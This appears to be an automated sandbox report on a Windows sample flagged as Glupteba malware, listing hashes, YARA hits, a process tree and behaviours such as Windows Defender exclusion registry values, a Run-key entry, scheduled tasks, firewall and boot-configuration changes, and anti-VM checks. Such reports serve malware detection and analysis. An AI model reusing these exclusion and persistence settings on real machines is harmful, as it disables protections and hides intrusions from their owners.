Analysis
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max time kernel
147s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
07-09-2024 22:44
Static task
static1
Behavioral task
behavioral1
Sample
d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe
Resource
win7-20240903-en
General
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Target
d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe
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Size
3.9MB
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MD5
d2fcbe70b1b8f34f5925d861e3c6b0c6
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SHA1
b3ecea0c0569ac7aa88960c41e42d9cb54ca25f4
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SHA256
50149cbc17ed2131e0541ab39ac703531e6f25ea685b4c29bf9ea2584f8eb09f
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SHA512
be674e32776d486f688a0a49071efe7cfea7d049f6b9137d3fde796ec529a4b0f4efdae24fa2fd084195d3e0d32a8ca8b5494dde81dbca1c00f6e9baf15d9eac
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SSDEEP
98304:4vTtafnOZRdx3O1EHds1elbueyc6/mPgdXmLvDYsD:AafcqeJBqsrDh
Malware Config
Signatures
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Glupteba payload 20 IoCs
resource yara_rule behavioral1/memory/2788-2-0x0000000005050000-0x0000000005746000-memory.dmp family_glupteba behavioral1/memory/2788-3-0x0000000000400000-0x0000000000B10000-memory.dmp family_glupteba behavioral1/memory/2788-5-0x0000000000400000-0x0000000000B10000-memory.dmp family_glupteba behavioral1/memory/2788-7-0x0000000005050000-0x0000000005746000-memory.dmp family_glupteba behavioral1/memory/2788-4-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/2068-17-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-91-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-212-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-328-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-437-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-492-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-494-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-495-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-496-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-497-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-498-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-499-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-500-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-537-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba behavioral1/memory/3012-538-0x0000000000400000-0x0000000002FCC000-memory.dmp family_glupteba -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\482855a2d9ee\482855a2d9ee = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\AncientResonance = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\482855a2d9ee.exe = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe -
Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1004 netsh.exe -
Executes dropped EXE 3 IoCs
pid Process 3012 csrss.exe 556 patch.exe 1220 Process not Found -
Loads dropped DLL 11 IoCs
pid Process 2068 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 2068 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 856 Process not Found 556 patch.exe 556 patch.exe 556 patch.exe 556 patch.exe 556 patch.exe 556 patch.exe 556 patch.exe 556 patch.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\482855a2d9ee.exe = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\482855a2d9ee\482855a2d9ee = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\AncientResonance = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\AncientResonance = "\"C:\\Windows\\rss\\csrss.exe\"" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
description ioc Process File opened for modification \??\WinMonFS csrss.exe -
Modifies boot configuration data using bcdedit 1 IoCs
pid Process 2724 bcdedit.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 csrss.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\rss d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe File created C:\Windows\rss\csrss.exe d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe File created C:\Windows\Logs\CBS\CbsPersist_20240907224422.cab makecab.exe -
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csrss.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2556 schtasks.exe 2880 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2788 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 2068 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 3012 csrss.exe 3012 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2788 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Token: SeImpersonatePrivilege 2788 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe Token: SeSystemEnvironmentPrivilege 3012 csrss.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2068 wrote to memory of 2268 2068 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 36 PID 2068 wrote to memory of 2268 2068 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 36 PID 2068 wrote to memory of 2268 2068 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 36 PID 2068 wrote to memory of 2268 2068 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 36 PID 2268 wrote to memory of 1004 2268 cmd.exe 38 PID 2268 wrote to memory of 1004 2268 cmd.exe 38 PID 2268 wrote to memory of 1004 2268 cmd.exe 38 PID 2068 wrote to memory of 3012 2068 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 39 PID 2068 wrote to memory of 3012 2068 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 39 PID 2068 wrote to memory of 3012 2068 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 39 PID 2068 wrote to memory of 3012 2068 d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe 39 PID 3012 wrote to memory of 2724 3012 csrss.exe 47 PID 3012 wrote to memory of 2724 3012 csrss.exe 47 PID 3012 wrote to memory of 2724 3012 csrss.exe 47 PID 3012 wrote to memory of 2724 3012 csrss.exe 47 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2788 -
C:\Users\Admin\AppData\Local\Temp\d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\d2fcbe70b1b8f34f5925d861e3c6b0c6_JaffaCakes118.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
